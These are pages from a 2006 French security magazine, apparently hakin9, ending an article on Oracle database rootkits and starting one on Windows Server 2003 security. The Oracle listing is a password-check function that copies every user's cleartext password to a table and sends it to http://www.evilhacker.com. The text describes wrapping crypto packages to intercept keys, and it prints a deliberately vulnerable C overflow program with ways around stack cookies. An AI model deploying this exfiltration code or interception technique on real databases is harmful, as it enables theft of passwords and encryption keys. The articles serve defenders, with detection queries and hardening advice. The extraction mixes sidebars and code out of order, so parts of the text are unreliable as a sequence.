chiffrement dbms_obfuscation_toolkit Il intercepte les clés de chiffrement utl_http Il intercepte les mots de passe du proxy HTTP dbms_aqadm Il intercepte des mots de passe LDAP dbms_ldap_utl Il intercepte des certificats LDAP utl_dbws Il intercepte des mots de passe/comptes Webservices dbms_epg Il intercepte des mots de passe mod_plsql htmldb_util Il intercepte des mots de passe HTMLDB wwv_flow_security Il intercepte des mots de passe HTMLDB mgmt_rec Il intercepte des mots de passe SYSDBA et Host mgmt_login_assistant Il intercepte des mots de passe et comptes Metalink hakin9 Nº 1/2006 www.hakin9.org habituelle de nom, on trouve un synonyme public qui se réfère au package SYS.DBMS _ CRYPTO. Ce paquet se réfère à son tour au paquet DBMS _ CRYPTO _ FFI, qui appelle la bibliothèque de confiance (en anglais trusted library) CRYPTO _ TOOLKIT _ LIBRARY (voir la Figure 8). La clé de chiffrement passe toujours en clair. Le code source prévu pour intercepter des clés est très simple. Copiez la spécification de paquet au paquet original ($ORACLE_HOME/rdbms/ admin) et ajoutez la valeur d'un serveur Web auquel on envoie toutes les données interceptées. Le contenu du package reproduit toutes les fonctions et les procédures, à une différence près. Tous les paramètres passeront au serveur Web. Pour ce faire, on appellera la fonction utl _ http.request. Ensuite, on appellera le paquet original par le nom complet. Regardez les Listings 7 et 8 pour avoir plus de détails et d'exemples. Il est possible d'intercepter tous les paramètres transmis au moyen de la fonction d'interception de paquet. Le Tableau 3 présente des paquets potentiels, permettant d'intercepter des informations sensibles, telles que les mots de passe ou les clés de chiffrement. Cette liste ne contient qu'un sous-ensemble des cibles possibles. Renifleur de mots de passe d’Oracle La base de données d’Oracle est dotée d'une caractéristique utilisée rarement, Password Verify Function, destinée à contrôler la complexité d'un mot de passe (p. ex. au moins 8 caractères, 1 caractère spécial). Cette fonctionnalité sera implémentée avec la fonction PL/SQL. Tous les mots de passe sont donc transmis en clair à cette fonction. Un intrus pourrait s'en servir pour stocker tous les nouveaux mots de passe dans un fichier ou dans une table ou d'envoyer les mots de passe et leurs comptes à un serveur Web étranger, si la base de données dispose d'un accès à l’Internet. Le Listing 9 présente un exemple d'une fonction ; elle est Rootkits sous Oracle chargée de tracer toutes les modifications des mots de passe de la base de données dans une table. Découvrir les rootkits d'Oracle Après une interruption dans une base de données, un administrateur de base de données devrait vérifier la base entière le plus tôt possible, examiner scrupuleusement tout objet de la base de données du point de vue de modifications et vérifier les objets créés récemment. Il est possible d'effectuer une simple vérification des utilisateurs cachés au moyen des déclarations présentées sur le Listing 10. Un développeur pourrait rendre ses applications moins sensibles aux rootkits en utilisant une des lignes directrices de développement : • • • • utiliser des appels complets de fonctions (p. ex. SYS.dbms _ crypto au lieu de dbms _ crypto). Utiliser des noms non évidents pour les fonctions, les procédures et les tables des objets critiques (p. ex. func107 au lieu de encrypt). Utiliser le SQL dynamique pour les fonctions critiques afin d'éviter des dépendances. Utiliser des tables de base au lieu des vues pour les objets critiques (p. ex. SYS.USER$ au lieu de DBA _ USERS). Conclusion Les rootkits d'Oracle peuvent constituer une menace importante pour les bases de données d’Oracle parce qu'ils sont très difficiles à supprimer. Chaque administrateur de bases de données soigneux devrait bien protéger ses bases de données d’Oracle ; il devrait, par exemple, appliquer des correctifs de sécurité, modifier les mots de passe assez fréquemment par défaut et protéger le fichier TNS-Listener (jusqu'à 9i) à l'aide d'un mot de passe. De plus, il devrait vérifier régulièrement les modifications du dictionnaire de données et des schémas. l Listing 9. Password Verify Function stocke tous les mots de passe en clair de tous les utilisateurs dans une table HACKER.SNIFFED -- créer une fonction de contrôle de mots de passes -- (ou en modifier une existante) CREATE OR REPLACE FUNCTION verify_function (username varchar2, password varchar2, old_password varchar2) RETURN boolean IS BEGIN ----- stocker tous les mots de passe dans une nouvelle table ou envoyer les mots de passe via utl_http.request à un serveur étranger utl_http.request ('http://www.evilhacker.com/user='||username||'#password='||password) insert into hacker.SNIFFED_passwords values(username, password, old_password); RETURN(TRUE); END; -- Appliquer la fonction de contrôle de mots de passe à un profile par défaut -- toutes les modifications des mots de passe de tous -- les comptes utilisant les profiles par défaut -- sont maintenant stockées dans la table sniffed_passwords ALTER PROFILE DEFAULT LIMIT PASSWORD_VERIFY_FUNCTION verify_function; Listing 10. Présenter les différences entre SYS.USER$ et leurs vues respectives SELECT NAME "Invisible user in DBA_USERS" FROM SYS.USER$ WHERE TYPE#=1 MINUS SELECT USERNAME FROM SYS.DBA_USERS; SELECT NAME "Invisible user in ALL_USERS" FROM SYS.USER$ WHERE TYPE#=1 MINUS SELECT USERNAME FROM SYS.ALL_USERS; À propos de l'auteur Alexander Kornbrust est fondateur et PDG de Red-Database-Security GmbH, une société spécialisée en sécurité Oracle. Il est responsable des audits de sécurité Oracle et des formations anti-piratage Oracle. Alexander Kornbrust travaille sur les produits Oracle depuis 1992 sur le poste d'administrateur de bases de données et développeur. Avant d'avoir fondé Red-Database-Security, il avait travaillé pour Oracle Deutschland et Oracle Switzerland pendant plusieurs années. Sur Internet • • • • http://www.red-database-security.com/wp/oracle_circumvent_encryption_us.pdf – contourner le chiffrement de la base de données Oracle, http://www.red-database-security.com/repscan.html – repscan découvre les modifications dans le dictionnaire de données Oracle (p. ex. rootkits), http://www.oracle.com /technology/deploy/security/db_security/htdocs/ vpd.html – description de Virtual Private Database, http://www.oracle.com/technology/tech/pl_sql/htdocs/ncomp _faq.html – description de PL/SQL Native Compilation. www.hakin9.org hakin9 Nº 1/2006 35 Sécurité de Windows Server 2003 Focus Rudra Kamal Sinha Roy Degré de difficulté Windows Server 2003 n'est pas une nouvelle plate-forme, dans la mesure où cette application a aujourd'hui presque trois ans. Toutefois, certains lecteurs seraient sans doute tentés de croire qu'évoquer sa sécurité n'est pas d'actualité. Ce qui est faux. Le temps approche où de nombreux hommes d'affaire seront contraints d'abandonner Windows 2000 Server, avec la perte du support. Leur choix se portera alors, en toute logique, sur Windows Server 2003. L es systèmes d'exploitation Windows en 32 bits ont été originellement conçus et vendus pour une utilisation commerciale hautement fiable sans héritage DOS. Après Windows NT 3.1, NT 3.5, NT 3.51, NT 4.0, Microsoft a alors décidé de combiner ses systèmes d'exploitation entreprise et utilisateur. La première tentative, Windows 2000, n'a malheureusement pas été à la hauteur des objectifs escomptés, et a donc été vendue sous forme de système entreprise. L'édition familiale de Windows 2000, dont le nom de code était Windows Neptune, a vu son développement stoppé, et Microsoft a sorti à sa place Windows Me. En définitive, Neptune a été ajouté dans leur nouveau projet, Whistler, devenu plus tard Windows XP. Depuis cette époque, un nouveau système entreprise, appelé Windows Server 2003, est venu enrichir la gamme, qui sera complété par la sortie imminente de Windows Longhorn Server. Toutefois, la plupart des sociétés utilisent toujours Windows 2000. Seul un petit nombre d'entreprises ont adopté Windows Server 2003 au cours de ces deux dernières années et demi, dû à l'occultation faite 36 hakin9 Nº 1/2006 par toute la publicité autour de Windows XP. Selon une étude menée par AssetMetrix, lors du premier trimestre de 2005, 48% des PC entreprise étaient dotés de Windows 2000, soit quatre points de moins par rapport au Cet article explique... • • • • les améliorations introduites dans Windows Server 2003 et dans quelle mesure ces améliorations rendent Windows Server 2003 plus sûr que ces prédécesseurs, les faiblesses restantes de Windows Server 2003, qui le rendent exploitable, comment ces faiblesses restantes peuvent être exploitées en pratique, ce que peut faire un administrateur de Windows Server 2003 pour sécuriser son serveur. Ce qu'il faut savoir... • • • www.hakin9.org vous devriez savoir comment fonctionnent les versions précédentes de Windows, vous devriez connaître les règles de base du fonctionnement d'un système d'exploitation, vous devriez savoir comment fonctionne la gestion de mémoire. Sécurité de Windows Server 2003 Différentes approches de la sécurité En matière de réseaux et de sécurité des systèmes d'exploitation, il existe deux approches classiques qui peuvent se suivre, fondées sur deux philosophies différentes. Ni l'une, ni l'autre n'est vraie ou fausse. L'approche la plus appropriée pour un ordinateur ou un réseau donné dépend, en effet, des circonstances, des besoins et des priorités de l'organisation ou de l'utilisateur final. Le choix repose principalement sur une situation donnée, un accès ou un contrôle particulier : • • L'accès comme première priorité : dans ce cas de figure, le choix de l'utilisateur se portera sur un système ouvert par défaut, dans lequel les mesures de sécurité sont implémentées selon ses besoins spécifiques. L'utilisateur débute avec tous les éléments accessibles, puis détermine ce qui ne devrait pas être accessible. Le contrôle (sécurité) comme première priorité : dans ce cas de figure, le meilleur choix est sans conteste un système fermé par défaut, basé sur le principe du moindre privilège. L'utilisateur débute avec tous les éléments verrouillés, puis n'ouvre que les applications réellement nécessaires. Ces deux approches servent généralement deux objectifs opposés en matière du continuum de la sécurité. Plus l'utilisateur contrôle le réseau ou le système d'exploitation, plus il le sécurise des dangers de l'informatique dans un environnement interconnecté (ce qui comprend les intrus, les pirates, les virus, et autres éléments malveillants), et moins il le rend accessible. Mais, d'un autre côté, plus vous voulez faciliter l'accès des employés, des clients, des partenaires, ou des autres personnes aux ressources, moins ces dernières seront contrôlées et donc sécurisées. Le compromis est inévitable. La première étape consiste donc à déterminer la priorité la plus importante et vos besoins dans le continuum. Le système idéal serait entièrement convivial pour les personnes autorisées et absolument impénétrable envers toute autre personne, mais un tel système n'existe pas, et ne peut d'ailleurs pas exister. troisième trimestre de 2003. Cette tendance prouve que la popularité de Windows 2000 commence à s'essoufler très lentement et que les utilisateurs en entreprise semblent craindre de migrer vers de nouveaux environnements Windows. Autre problème avec Windows 2000, Microsoft a abandonné les futurs supports pour ce système il y a quelque temps déjà. Il était question de lancer SP5, ce qui s'est effectivement passé. Et en juin 2005, Windows 2000 se trouve dans la phase de support étendu de son cycle de vie, autrement dit, les packs de services ou autres programmes de corrections libres relatifs à des problèmes non-sécuritaires ne seront plus distribués. Le temps où il n'y aura plus de rustine de sécurité approche à grand pas. Il semble donc que la seule option dont disposent les entrepri- ses soucieuses de sécuriser leur serveur est de choisir la nouvelle génération de systèmes de serveur Microsoft. La sortie de Longhorn est prévue pour 2007. De nombreuses sociétés n'attendront pas si longtemps. Leur choix va donc logiquement se porter sur Windows Server 2003, dans la mesure où Windows XP n'a pas été conçu pour une utilisation serveur. Le présent article présentera donc les aspects sécuritaires de Windows Server 2003, ses toutes dernières vulnérabilités connues, et vous démontrera si ce système, presque trois ans après sa sortie, vaut vraiment la peine d'être adopté par rapport à Windows 2000, ou s'avère un choix judicieux pour y porter de nouveaux projets. Aujourd'hui, la première priorité pour la plupart des sociétés est la sécurité (voir l'Encadré Différentes approches de la sécurité). Microsoft www.hakin9.org a tenté de répondre à cette attente de différentes manières, en commençant par l'initiative Trustworthy Computing. Windows Server 2003 traduit un gros effort de la part de Microsoft, afin de proposer un environnement informatique sécurisé, par rapport à ses prédécesseurs, mais présente toujours des défauts dans certains scénarios. Une des grandes modifications très visibles dans Windows Server 2003 est la différence entre les réglages par défaut. Pour vous rafraîchir la mémoire, c'est précisément sur ce point que Microsoft, encore une fois, s'est révélé vulnérable avec le temps, puisque les pirates sont généralement parvenus à exploiter ces défauts de services. Les différences de réglages par défaut d'un serveur livré clé en main par rapport aux versions précédentes seront vous présentées dans le présent article, et il vous sera démontré dans quelles mesures ces nouveaux réglages permettent de sécuriser le système d'exploitation, tout en provoquant certains désagréments aux administrateurs et aux utilisateurs finaux du système, soudain incapables d'obtenir un accès autrefois disponible sans configuration supplémentaire dans les versions précédentes. On présentera brièvement les modifications par défaut réalisées sur Windows Server 2003, principalement concentrées sur les réglages de services, l'authentification, et plus particulièrement le système intégré d'information. Il est important de noter que le système intégré d'information est une des sources les plus connues d'exploitation dans la plupart des systèmes de serveurs Windows. Nouveautés et améliorations Windows Server 2003 est basé sur Windows 2000 Server, mais comporte également certaines fonctionnalités empruntées à Windows XP, ainsi qu'une compatibilité. Mais surtout, Windows XP apporte plus de sécurité. Aucun composant du hakin9 Nº 1/2006 37 Focus serveur n'est basé sur la période de démarrage, ce qui permet de réduire les vecteurs d'attaques lors de nouvelles installations. D'autres améliorations de sécurité ont également été introduites. Les voici listées ci-après. Réglages par défaut des services communs Une des modifications apportées sous Windows Server 2003 est le nombre réduit de services fonctionnant désormais sur le compte du système local (NT AUTHORITY\ SYSTEM). Une grande majorité des services avait recours à ce compte sous Windows 2000. Les programmes fonctionnant dans ce contexte disposent de privilèges illimités sur l'ordinateur local, ce qui présente un risque évident en terme de sécurité. Au lieu d'utiliser le compte du système local, certains services communs ont désormais recours au service local (NT AUTHORITY\ LOCAL SERVICE), ou compte de réseau local (NT AUTHORITY\ NETWORK SERVICE). Ces comptes disposent d'un niveau de privilèges réduit par rapport au compte du système local. Il existe toujours de nombreux services connectés au système local (comme par exemple, les services de mises à jour automatiques, de navigateur de l'ordinateur, du client DHCP (Dynamic Host Configuration Protocol), pour ne citer qu'eux). Toutefois, plusieurs autres services ne fonctionnent plus de la sorte. Par exemple, la fonction Alerte, qui a recours au compte du système local sous Windows 2000, fait désormais appel au compte de service local sous Server 2003, ainsi que le système de noms de domaine, qui lui aussi utilisait le compte du système local sous Windows 2000, utilise désormais le compte de service réseau sous Server 2003. Ces modifications apportent une meilleure sécurité. Modifications apportées au processus d'authentification Le processus d'authentification a été amélioré pour offrir une meilleure sé- 38 hakin9 Nº 1/2006 curité, au moment de se connecter sur l'ordinateur local, et au moment de se connecter dans un domaine. La modification la plus importante apportée à l'authentification de l'ordinateur local concerne l'incapacité à utiliser des mots de passe vides au moment d'accéder au système à distance (il est, toutefois, intéressant de remarquer que les mots de passe vides peuvent être utilisés sur la console). Les authentifications multiforêt (voir l'Encadré Définition des authentifications multiforêt) représentent une nouvelle fonctionnalité pour l'authentification sur le domaine du Répertoire Actif. L'authentification par forêt fait appel à Kerberos, version 5 (voir l'Encadré Définition de Kerberos), chargée de lancer les requêtes d'authentification à travers les forêts. Les administrateurs peuvent alors contrôler la portée de l'authentification entre deux forêts dotées d'une relation de confiance, au moyen d'une authentification sélective. Lorsque l'option d'authentification sélective est activée, il est alors possible de paramétrer les permissions manuellement sur les domaines et les ressources pour lesquelles l'administrateur souhaite donner un accès aux utilisateurs d'une autre forêt. Modifications apportées au système intégré d'information Parmi les modifications les plus remarquables, il faut noter les réglages par défaut dans le système d'information intégré, version 6.0. Le serveur Web est désormais installé par défaut au moment de l'installation des éditions Standard, Enterprise et Datacenter de Windows Server 2003 (il est installé dans l'édition Web Server, pour des raisons évidentes). Cette modification permet d'éliminer les occurrences bien trop courantes dans lesquelles les administrateurs lancent par inadvertance des serveurs Web malveillants sur le réseau. Si vous installez le système intégré d'information, version 6.0, vous www.hakin9.org Définition des authentifications multiforêt Windows Server 2003 supporte un nouveau type de mécanisme d'authentification dénommé authentification multiforêt. Le terme de forêt sert à décrire une hiérarchie de domaines sous Windows Active Directory, dans laquelle un groupe de domaines ayant le même nom DNS est désigné par le terme d'arbre. Lorsque plusieurs forêts sont paramétrées dans une organisation (généralement à des fins de sécurité ou via une fusion d'organisations), les authentifications entre les deux organisations doivent être gérées soit manuellement, soit en utilisant un nouveau mécanisme d'authentification multiforêt chargé d'automatiser le processus (chaque domaine contenu dans une forêt A est doté d'une relation de confiance implicite avec chaque domaine contenu dans la forêt B). Définition de Kerberos Kerberos est un protocole d'authentification réseau capable de proposer une forte authentification au moyen de la cryptographie par clé secrète, afin d'authentifier les entités client et serveur et de crypter leurs communications. Ce protocole a été conçu pour résoudre les problèmes de sécurité grâce à la technique d'authentification par assertion, qui nécessite évidemment une ouverture de session distincte pour chaque service en réseau, en obligeant un utilisateur à se connecter à un seul domaine ou royaume. Une fois l'utilisateur connecté au domaine ou au royaume, un seul service identifie l'utilisateur à sa place comme si ce dernier avait accès aux ressources. le trouverez par défaut en mode locked down dans lequel les composants de contenus dynamiques tels que ASP, WebDAV et les extensions FrontPage sont désactivés. Le système intégré d'information, version 6.0 comprend également une nouvelle méthode d'authentification ainsi qu'une autorisation URL pour une meilleure sécurité. Sécurité de Windows Server 2003 Services par défaut sous Windows Server 2003 Services fonctionnant en service local • • • • • • • • • • • • • Fonction d'alerte, Service d'application couche passerelle, Inscription à distance, Carte Smart, Assistant de carte Smart, Service de découverte SSDP, Assistant TCP/IP NetBIOS, Telnet, UPS, Universal Plug and Play, Client Web, Acquisition d'images Windows, Service d'auto-recherche de serveurs mandataires WinHTTP. Services fonctionnant en réseau • • • • • • Client DHCP, Coordinateur de Transaction Distribuée, Client DNS, Connexion de licence, Journaux de performance et fonctions d'alerte, Releveur de coordonnées RPC. Services désactivés par défaut • • • • • • • • • • • • • • • • • • • • Service intégré d'information non-installé par défaut, Fonctions d'alerte, Clipbook, Serveur de pistage des liens distribués, Accès au dispositif des interfaces utilisateurs, Service de gravure de CDROM Imapi, ICF/ICS, Messagerie intersites, Connexion de licences, Messagerie, Partage de NetMeeting sur bureau à distance, Réseau DDE, Réseau DDE DSDM, Démarrage et accès à distance, Telnet, Découverte de session de service terminal, Thèmes, Client Web, Acquisition d'Images Windows (Windows Image Acquisition ou WIA), Le centre de distribution de clés de Kerberos est également désactivé par défaut, puis automatiquement activé sous DCPromo. Une des principales fonctionnalités intégrées dans la conception du système intégré d'information, version 6.0, est le pilote HTTP en mode noyau, HTTP.sys. Cette fonctionnalité permet non seulement d'améliorer la performance du serveur Web et ses propriétés d'extensibilité, mais également de renforcer la sécurité du serveur. HTTP.sys agit comme une passerelle entre les requêtes des utilisateurs et le serveur Web. Il commence tout d'abord par analyser la requête, puis la distribue vers les processus de travail adapté au niveau de l'utilisateur. Les restrictions des processus apportées au mode utilisateur permettent d'empêcher les utilisateurs d'avoir accès à des ressources privilégiées www.hakin9.org dans le noyau du système. L'espace ciblé par un pirate tentant d'obtenir un accès privilégié au serveur est par conséquent considérablement limité. Modifications apportées à l'inscription au groupe Everyone Dans les versions précédentes de Windows, le groupe intégré Everyone permettait littéralement à tout un chacun d'avoir accès au système, y compris les utilisateurs anonymes. Sous Windows Server 2003, le groupe Everyone ne comprend plus les utilisateurs anonymes. Ainsi, même si des permissions sont accordées au groupe Everyone, ceux connectés anonymement ne disposent plus de ces permissions. Ils font désormais partie du groupe appelé Anonymous Logon, autre groupe intégré dont les membres sont définis. Dans l'environnement d'un domaine Windows Server 2003, il est possible de permettre à des membres du groupe Anonymous Logon de devenir membres du groupe Everyone sur un contrôleur de domaine, en éditant la politique de sécurité du domaine (Start -> Programs -> Administrative Tools -> Domain Security Policy). Dans le panneau gauche de la console, il suffit d'étendre les nœuds suivants : Default Domain Controller Policy, Computer Configuration, Windows Settings, Security Settings, Local Policies, puis de cliquer sur Security Options. Dans le panneau des détails, il faut ensuite accéder à Network Access d'un clic droit afin de permettre aux permissions du groupe Everyone de s'appliquer aux utilisateurs anonymes. Sélectionnez Properties, puis contrôlez la boîte intitulée Define this policy et choisissez Enabled afin d'appliquer la politique. Bien que Windows Server 2003 ait apporté ces modifications de sécurité ainsi que bien d'autres changements, une question demeure. Cet effort suffira-t-il ? – à priori non. En effet, en premier hakin9 Nº 1/2006 39 Focus lieu, il y avait une configuration prête à l'emploi relativement sécurisée. Très bien, me direz-vous. Mais, est-il réellement nécessaire de conserver le serveur fraîchement chargé tel quel, sans le rendre utile à quelques services spécifiques ? Il est important de prendre conscience que la plupart des systèmes d'exploitation de type serveur servent des objectifs utilisateur, qu'ils soient configurés en tant que serveur Web ou qu'ils hébergent un certain nombre d'autres applications intranet/Internet. Quels sont les défauts des services ? Avec l'introduction des services, tout a commencé à empirer. On va se limiter dans le présent article aux seuls services propres à Microsoft. Est désignée par service toute application fonctionnant en arrière plan, indépendante d'une quelconque session utilisateur. Dans la mesure où les services se lancent de façon non gardé au démarrage, ils sont tout à fait adaptés à des applications de type serveur telles qu'un serveur Web. Mais, les services présentent également des désavantages, dans la mesure où un utilisateur n'est pas forcément conscient de leur fonctionnement. Sans aucune interaction de l'utilisateur, il serait possible de faire fonctionner un certain nombre de services par défaut sans jamais en connaître les risques potentiels pour la sécurité. Ces risques ont été révélés avec la prolifération de vers sur Internet tels que Code Red et Nimda, exploitant les utilisateurs ignorant que des services Web tournent sur leur poste de travail. Ces postes de travail infectés répandaient à leur tour le ver dans des milliers d'autres systèmes via Internet. Afin de réduire la surface d'attaque par défaut de Windows Server 2003, Microsoft a désactivé 19 services, et réduit plusieurs services de manière à fonctionner avec de faibles privilèges (voir l'Encadré Services par défaut sous Windows Server 2003). 40 hakin9 Nº 1/2006 Attaques par débordement de la mémoire tampon Il existe deux principales attaques par débordement de la mémoire tampon : le débordement de la pile et celui du tas. Débordement de la pile Écraser la pile est le type de vulnérabilité le plus répandu et le plus connu sur les logiciels actuels. L'objectif d'une telle attaque est de provoquer un débordement de la mémoire tampon suffisant pour que le registre de pointeur de l'instruction EIP situé sur la pile soit écrasé par l'adresse d'un shellcode fourni arbitrairement. Lorsqu'une fonction appelée revient, l'adresse située dans le registre EIP est alors exécutée de sorte à lancer le shellcode fourni avec les privilèges du processus d'attaque. Si un processus vulnérable est doté des privilèges root suid/sgid, la manœuvre peut se révéler désastreuse pour le système. Débordement du tas Le débordement du tas est très semblable au débordement de la pile. Toutefois, au lieu d'écraser l'EIP sur la pile, les zones allouées par le processus sont écrasées (comme si elles avaient été allouées via un appel vers malloc()). En provoquant le débordement d'une mémoire tampon allouée dynamiquement, les données peuvent se diriger vers la prochaine section allouée contiguë sur le tas. Ceci permet au pirate de modifier le contenu des ces sections. Exploitation des services Les services de Windows sont exploités en manipulant un service de sorte qu'il lance une commande ou qu'il accède au système de fichiers afin de lire ou d'écrire sur un fichier protégé. Dans la mesure où la plupart des services sont lancés dans le contexte sécurisé du compte SYSTEM, ces derniers sont généralement dotés d'accès privilégiés vers la plupart des fonctions du système. Ce qui les rend particulièrement intéressants pour les pirates. En manipulant un service, un pirate a la possibilité de renforcer ses propres privilèges afin de faire à peu près tout ce qu'il souhaite. Par exemple, le Bulletin de Sécurité de Microsoft MS02-006 mentionne un débordement de la mémoire tampon dans le service SNMP, susceptible de permettre à un pirate d'exécuter à distance des commandes grâce aux permissions du compte SYSTEM. Les autres exploitations sont moins graves, mais sont toujours capables d'utiliser les défauts d'un service afin d'autoriser d'autres actions malveillantes. Par exemple, des défauts avaient été constatés par le passé (ils ne concernent pas Windows Server 2003, heureusement) dans le service SMTP. Ils permettaient www.hakin9.org aux polluposteurs de dissimuler leur identité en relayant les emails via le serveur. Le plus difficile pour les pirates est d'obtenir un accès au service. Pour la plupart des services Internet, il suffit de se connecter au port TCP affecté. Mais pour d'autres services, il faut être muni de l'accès à la console locale pour pouvoir provoquer des exploitations dévastatrices. Afin de protéger un service, il faut bien sûr connaître ses exploitations éventuelles et réduire ainsi son exposition à ces exploitations. Présentation des exploitations Les attaques par débordement de la mémoire tampon (voir l'Encadré Attaques par débordement de la mémoire tampon) comptent parmi les mécanismes, ou les vecteurs les plus répandus, permettant de s'introduire dans les ordinateurs. Dans ce genre d'exploitation, le pirate envoie une chaîne vers un flux de données en entrée ou vers une commande, plus longue que ce que la mémoire tampon allouée ne peut contenir. Cette chaîne longue injecte un code dans le système, qui l'exécute, lançant de la sorte un virus ou un vers. On présentera, dans le cadre de cet article, le débordement de la pile et du tas sous Windows, dans la me- Sécurité de Windows Server 2003 sure où ces attaques deviennent de plus en plus nombreuses et robustes dans l'exploitation des systèmes Windows. Toutefois, l'introduction de Windows Server 2003, et du dernier Windows XP SP2, a permis d'apporter un nouveau niveau de protection contre les attaques, que les pirates seront désormais obligés de contourner afin d'exploiter le débordement du tas sur ces systèmes. On va donc analyser les principes d'une exploitation classique du débordement du tas et vous verrez dans quelle mesure ces techniques ne fonctionnent plus sur les tout nouveaux systèmes Windows. Puis, on vous présentera un moyen de contourner un premier niveau de protection, et de provoquer un écrasement de la mémoire. Listing 1. Problèmes relatifs au mécanisme de protection de la pile #include <stdio.h> #include <windows.h> HANDLE hp=NULL; int ReturnHostFromUrl(char **, char *); int main() { char *ptr = NULL; hp = HeapCreate(0,0x1000,0x10000); ReturnHost-FromUrl(&ptr,"http://www.ivizindia.com/index.html"); printf("Host is %s",ptr); HeapFree(hp,0,ptr); return 0; } int ReturnHostFromUrl(char **buf, char *url) { int count = 0; char *p = NULL; char buffer[40]=""; Protection du tas Les techniques traditionnelles de débordement du tas fonctionnaient très bien sur les systèmes d'exploitation Windows XP (SP0, SP1) et Windows 2000. Mais cela a changé avec l'arrivée de Windows Server 2003. Microsoft a, en effet, modifié les sous-programmes de gestion ainsi que les structures du tas afin de contrôler la validité d'une unité avant de l'allouer ou de la libérer. • • Un cookie de sécurité a été introduit dans les en-têtes des unités. Lorsqu'une unité est allouée, ce cookie est alors contrôlé afin de veiller à ce qu'aucun débordement ne se soit produit. Les pointeurs de liens en avant et en arrière sont vérifiés avant la mise en marche du processus de désactivation de liens, toutes les fois nécessaires (allocation, coalescence). Le même contrôle est réalisé pour les blocs alloués virtuellement. Ce contrôle représente un réel obstacle en souhaitant provoquer un débordement sur le tas. D'autres protections ont également été introduites, plus particulièrement le caractère aléatoire PEB } // Get a pointer to the start of the host p = strstr(url,"http://"); if(!p) return 0; p = p + 7; // do processing on a local copy strcpy(buffer,p); // <------ NOTE 1 // find the first slash while(buffer[count] !='/') count ++; // set it to NULL buffer[count] = 0; // We now have in buffer the host name // Make a copy of this on the heap p = (char *)HeapAlloc(hp,0,strlen(buffer)+1); if(!p) return 0; strcpy(p,buffer); *buf = p; // <-------------- NOTE 2 return 0; (Process Execution Block, ou Bloc d'Exécution de Processus) et le codage des pointeurs d'exceptions. L'objectif est de minimiser la quantité de pointeurs de fonctions définies et bien connues, généralement utilisés par le processus. En effet, ces endroits représentaient des cibles privilégiées pour provoquer un débordement sur le tas, avec les anciennes techniques. Malheureusement, cette protection ne fonctionne pas à 100% contre le débordement du tas, comme l'a démontré Alexander Anisimov, début 2005. La première méthode www.hakin9.org publique permettant de contourner ces nouvelles protections du tas consiste en réalité à exploiter les contrôles inexistants sur la liste parallèle (veuillez consulter l'Article intitulé Defeating Windows XP SP2 Heap protection and DEP bypass, si vous voulez en savoir plus sur les listes parallèles – voir l'Encadré Sur Internet). Cette nouvelle technique fonctionne en théorie, mais est très difficile à mettre en œuvre en pratique. En effet, le tas doit être doté d'une table parallèle active et non-vérouillée pour que l'exploitation fonctionne. hakin9 Nº 1/2006 41 Focus Protection de la pile sous Windows Server 2003 et mécanismes de contournement Le schéma de protection de la pile est identique aux autres implémentations dans la mesure où une valeur canary ou cookie est calculée pour chaque fonction, puis est placée sur la pile sous l'adresse retournée et sauvegardée. Avant que chaque fonction ne retourne à la fonction d'appel, un sous-programme est alors exécuté afin de comparer la valeur canary stockée sur la pile, avec une valeur canary enregistrée dans la mémoire globale. Si ces deux valeurs ne se correspondent pas, le programme sera terminé après l'exécution d'une série de fonctions de rapport d'erreurs. Une des faiblesses mentionnées dans cette implémentation est due aux structures de manipulation des exceptions stockées au sein même de la mémoire de la pile. Par conséquent, il serait en théorie possible pour un pirate de provoquer un débordement de la mémoire tampon à l'intérieur d'un programme vulnérable, en corrompant la valeur canary et l'adresse de retour, et en poursuivant de la sorte jusqu'à corrompre un pointeur de gestionnaire d'exceptions. Puis, en appelant une exception avant le sous-programme de validation du cookie, il est tout à fait possible de rediriger le flux d'exécution de sorte que la charge située dans la pile, le tas ou dans un autre endroit de la mémoire soit exécutée. Une autre faiblesse a également été mentionnée. Il s'agit de la valeur canary enregistrée en 32 bits stockée dans la mémoire globale sur laquelle il est possible d'écrire via une application. Ainsi, un pirate capable de manipuler la mémoire globale, peut modifier le cookie de sorte qu'il corresponde à celui de la valeur écrasée par un débordement de la pile. Les pirates ont à ce jour développé toute une variété d'exploitations capables de contourner le schéma de protection 42 hakin9 Nº 1/2006 de la pile de Windows Server 2003, et plus particulièrement capables d'exploiter la vulnérabilité du débordement de la mémoire tampon via l'interface DCOM RPC de Microsoft Windows, décrite dans la partie suivante. Regardez plus en détails ce qui se passe réellement. Lorsqu'une procédure a été protégée, le cookie est contrôlé afin de déterminer si sa valeur est identique à la valeur de départ de la procédure. Une copie autorisée du cookie est stockée dans la section .data du fichier image de la procédure en question. Le cookie présent sur la pile est déplacé vers le registre ECX puis comparé à la copie située dans la section .data. Or, ce procédé pose un problème (voir cidessous). Si le cookie ne correspond pas, le code chargé d'implémenter le contrôle va appeler un gestionnaire de sécurité, s'il y en a un de défini. Un pointeur vers ce gestionnaire est stocké dans la section .data du fichier image de la procédure vulnérable ; si ce pointeur n'est pas NULL , il est alors déplacé vers le registre EAX, qui est ensuite appelé. Ce qui pose de nouveau un autre problème (voir ci-dessous), dans la mesure où aucun gestionnaire de sécurité n'a été défini, unhandledExceptionFilter est alors appelée, ce qui ne termine pas simplement le processus, mais exécute toutes sortes d'actions et d'appels vers toutes sortes de fonctions. Examinez maintenant les problèmes mentionnés plus haut et analysez les raisons qui font que ces situations deviennent problématiques. La meilleure façon de procéder est d'examiner un extrait du code. Observez l'extrait de code exposé dans le Listing 1. Ce programme prend une URL, et extrait le nom de l'hôte. La fonction ReturnHostFormUrl est vulnérable au débordement de la mémoire tampon, marquée dans NOTE 1. Si vous regardez le type de la fonction, il est possible de constater qu'elles prend deux paramètres : l'un étant un pointeur 0 dirigé vers www.hakin9.org Service RPC-DCOM Les Appels de Procédure à Distance ou Remote Procedure Call (RPC) sont un protocole utilisé par le système d'exploitation Windows. Le RPC fourni un mécanisme de communication interprocessus permettant à un programme fonctionnant sur un ordinateur d'exécuter en continue du code sur un système distant. Ce protocole est lui-même dérivé du protocole RPC d'Open Software Foundation (OSF), auquel Microsoft a ajouté des extensions spécifiques. un pointeur (char **) et le second étant un pointeur dirigé vers l'URL à pirater. Dans NOTE2, vous avez défini le premier paramètre comme un pointeur dirigé vers le nom de l'hôte stocké sur le tas dynamique. C'est ici, que l'un des problèmes évoqués survient. Si vous provoquez un débordement sur la mémoire tampon basée sur la pile, un écrasement du cookie, un écrasement du pointeur de base sauvegardé, puis de l'adresse de retour sauvegardée, vous commencez alors à écraser les paramètres passés dans la fonction. Une fois la mémoire tampon en débordement, vous avez le contrôle des 